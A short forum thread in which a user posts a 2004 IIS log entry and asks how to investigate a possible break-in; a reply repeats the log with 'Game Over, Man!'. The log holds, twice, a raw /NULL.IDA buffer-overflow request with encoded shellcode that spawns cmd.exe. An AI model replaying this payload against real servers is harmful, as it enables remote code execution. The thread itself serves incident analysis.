JabbaTheNut
Programmer
I found the following entry in my IIS logs. I immediately updated my server with the latest patches through windowsupdate.com. However, I am afraid there may have been a security breach. Any suggestions on how I can investigate?
2004-01-16 14:21:09 64.x.x.x - 192.x.x.x 80 GET /NULL.IDA
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%u0aeb%
ub890%udacf%u77ee%u0000%u0000%u838b%u0094%u0000%u408b%u0564%
u0150%u0000%ue0ff%
u9090=x&ë+_ëèõÿÿÿoð
}-‹÷f¸H3Éf‹È´™ü¬2Īâú$쟙™eªP(¹)
½k7_Þf™q”™™q™™q×›™™ Úœ™™qÈ›™™q½š™™ Þœ™™q'˜™™ Öœ™™ Þœ™
™qæ›™™ Òœ™™qÇ™™™q™™™a™íy Òœ™™Éf+”Ÿ™™ Þœ™™Éf+”Ÿ™™ ¶œ™™É
f+ œ™™ ¢œ™™Éf+ œ™™!™™™™É Öœ™™Éf+\œ™™!
™™™™Éf+Oœ™™Z Òœ™™ó™ó€ š˜™™É Òœ™™Éf+šŸ™™Z”“Îð÷÷íØìíöØííøúò
¹Ï«©”“”“ñ+™™™f+&œ™™ ¶œ™™q_™™™af–
/™™™a™íÎ++++ó™ ¦œ™™Éñ™™™ Úœ™™É ¶œ™™Éf+/œ™™a™–
™™™ó™ ¦œ™™É Úœ™™É Òœ™™Éf+šŸ™™afíý++++r ó™ñ™™™ Úœ™™É
Òœ™™Éf+‘Ÿ™™a™í§++++afí¬++++ªBʦœ™™ÊÉ Úœ™™É ¢
œ™™Éf+5œ™™a™í++++p²fffªYÑZªYZªBʽ›™™ÊªBÊÊÊÉf++œ™™a™í’++
++ ½›™™Z!
ffffZ™™™™ Úœ™™^™Ý™™™Éf+þœ™™Úœ™™ ªœ™™ÚÙÚ¥ ®œ™™Ú¡!
˜˜™™ÚµÊʪYÉÉÉÙÉÑÉÉ ìŸ™™ÉªYÉf+™ ªœ™™Éf+ œ™™ ®œ™™Éf+ œ™
™ Úœ™™™Zñ™™™óÙf+9œ™™ZªYÉ w›™™^™•™™™É ªœ™™É ¶œ™™Éf+Åœ™™
ªYÉ w›™™É ¢œ™™É ®œ™™Éf+Åœ™™Z™™™™™™™™˜™™™É¸š™™^š‰
™™™ÊÛ™™ÊÉf+eœ™™Aa™ÁåEZZ‰
™™™óŠ öš™™Éf+½Ÿ™™ öš™™Éf+©Ÿ™™a™í»++++é•ge4a™íŠ++++™¥“
íi¥Yíu¥5íqZn4™Z™™™™™™™™™™™™™™™™™™™™ Úœ™™Éó›f+€Ÿ™™ó™ó˜ó›f+
pœ™™af–
™™™ Þœ™™¦œ™™^š˜™™™óÊóñff™™Éf+§Ÿ™™a™ìé++++ÿ öŸ™™ÿ Ý
™™ 蟙™ ß™™afì–++++q³fff ß™™ Þœ™™ó‰
Û™™ÊÉf+iœ™™a™ìº++++óœ Þœ™™Éf+lœ™™a™ì’++++ Þœ™™ZªYZ›™™
ú™™™™™™™™™™™™!
™™hî¡ÔÃ+™íž++++ÑrhA꥚jïášj繚bתKÏÎȦšb,ÁŸ™™ªP
(žjÿ>í•++++ÀÆ^Û{FÀÆÇSß½šZHxšXªPÿ‘ß…
šZXx›šX™šZ òŸ™™ZÒŸ™™qÉ™™™ þŸ™™Z$Êœ™™^Îq¶™™™ÆÉ«YªPnHe
k7Á¦™íŽ++++ÉÎFq„™™™ÆžÁÞÞÞÞr@Þ¦™ìSZÊþŸ™™ÉfŠÂZÎ$òŸ™™ÊÉf
ŽÆZ™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™ÒÜË×ÜÕª«™ÚëüøíüÉðéü™Þ
üíÊíøëíìéÐ÷ÿöØ™ÚëüøíüÉëöúüêêØ™ÚõöêüÑø÷ýõü™Éüüò×øôüýÉðéü™Þõöû
øõØõõöú™Îëðíüßðõü™Ëüøýßðõü™Êõüüé™Íüëôð÷øíüÉëöúüêê™ÜáðíÍñëüøý
™™Îʫƪ«™êöúòüí™ûð÷ý™õðêíü÷™øúúüéí™êü÷ý™ëüúï™úõöêüêöúòüí™ÎÊØ
Êíøëíìé™þüíñöêí÷øôü™þüíñöêíûà÷øôü™êüíêöúòöéí™™™ÕöøýÕðûëøëàØ™
ÞüíÉëöúØýýëüêê™êëî¨éî™úؾÌUcmd.exe$ 200 -
Game Over, Man!
2004-01-16 14:21:09 64.x.x.x - 192.x.x.x 80 GET /NULL.IDA
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%u0aeb%
ub890%udacf%u77ee%u0000%u0000%u838b%u0094%u0000%u408b%u0564%
u0150%u0000%ue0ff%
u9090=x&ë+_ëèõÿÿÿoð
}-‹÷f¸H3Éf‹È´™ü¬2Īâú$쟙™eªP(¹)
½k7_Þf™q”™™q™™q×›™™ Úœ™™qÈ›™™q½š™™ Þœ™™q'˜™™ Öœ™™ Þœ™
™qæ›™™ Òœ™™qÇ™™™q™™™a™íy Òœ™™Éf+”Ÿ™™ Þœ™™Éf+”Ÿ™™ ¶œ™™É
f+ œ™™ ¢œ™™Éf+ œ™™!™™™™É Öœ™™Éf+\œ™™!
™™™™Éf+Oœ™™Z Òœ™™ó™ó€ š˜™™É Òœ™™Éf+šŸ™™Z”“Îð÷÷íØìíöØííøúò
¹Ï«©”“”“ñ+™™™f+&œ™™ ¶œ™™q_™™™af–
/™™™a™íÎ++++ó™ ¦œ™™Éñ™™™ Úœ™™É ¶œ™™Éf+/œ™™a™–
™™™ó™ ¦œ™™É Úœ™™É Òœ™™Éf+šŸ™™afíý++++r ó™ñ™™™ Úœ™™É
Òœ™™Éf+‘Ÿ™™a™í§++++afí¬++++ªBʦœ™™ÊÉ Úœ™™É ¢
œ™™Éf+5œ™™a™í++++p²fffªYÑZªYZªBʽ›™™ÊªBÊÊÊÉf++œ™™a™í’++
++ ½›™™Z!
ffffZ™™™™ Úœ™™^™Ý™™™Éf+þœ™™Úœ™™ ªœ™™ÚÙÚ¥ ®œ™™Ú¡!
˜˜™™ÚµÊʪYÉÉÉÙÉÑÉÉ ìŸ™™ÉªYÉf+™ ªœ™™Éf+ œ™™ ®œ™™Éf+ œ™
™ Úœ™™™Zñ™™™óÙf+9œ™™ZªYÉ w›™™^™•™™™É ªœ™™É ¶œ™™Éf+Åœ™™
ªYÉ w›™™É ¢œ™™É ®œ™™Éf+Åœ™™Z™™™™™™™™˜™™™É¸š™™^š‰
™™™ÊÛ™™ÊÉf+eœ™™Aa™ÁåEZZ‰
™™™óŠ öš™™Éf+½Ÿ™™ öš™™Éf+©Ÿ™™a™í»++++é•ge4a™íŠ++++™¥“
íi¥Yíu¥5íqZn4™Z™™™™™™™™™™™™™™™™™™™™ Úœ™™Éó›f+€Ÿ™™ó™ó˜ó›f+
pœ™™af–
™™™ Þœ™™¦œ™™^š˜™™™óÊóñff™™Éf+§Ÿ™™a™ìé++++ÿ öŸ™™ÿ Ý
™™ 蟙™ ß™™afì–++++q³fff ß™™ Þœ™™ó‰
Û™™ÊÉf+iœ™™a™ìº++++óœ Þœ™™Éf+lœ™™a™ì’++++ Þœ™™ZªYZ›™™
ú™™™™™™™™™™™™!
™™hî¡ÔÃ+™íž++++ÑrhA꥚jïášj繚bתKÏÎȦšb,ÁŸ™™ªP
(žjÿ>í•++++ÀÆ^Û{FÀÆÇSß½šZHxšXªPÿ‘ß…
šZXx›šX™šZ òŸ™™ZÒŸ™™qÉ™™™ þŸ™™Z$Êœ™™^Îq¶™™™ÆÉ«YªPnHe
k7Á¦™íŽ++++ÉÎFq„™™™ÆžÁÞÞÞÞr@Þ¦™ìSZÊþŸ™™ÉfŠÂZÎ$òŸ™™ÊÉf
ŽÆZ™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™™ÒÜË×ÜÕª«™ÚëüøíüÉðéü™Þ
üíÊíøëíìéÐ÷ÿöØ™ÚëüøíüÉëöúüêêØ™ÚõöêüÑø÷ýõü™Éüüò×øôüýÉðéü™Þõöû
øõØõõöú™Îëðíüßðõü™Ëüøýßðõü™Êõüüé™Íüëôð÷øíüÉëöúüêê™ÜáðíÍñëüøý
™™Îʫƪ«™êöúòüí™ûð÷ý™õðêíü÷™øúúüéí™êü÷ý™ëüúï™úõöêüêöúòüí™ÎÊØ
Êíøëíìé™þüíñöêí÷øôü™þüíñöêíûà÷øôü™êüíêöúòöéí™™™ÕöøýÕðûëøëàØ™
ÞüíÉëöúØýýëüêê™êëî¨éî™úؾÌUcmd.exe$ 200 -
Game Over, Man!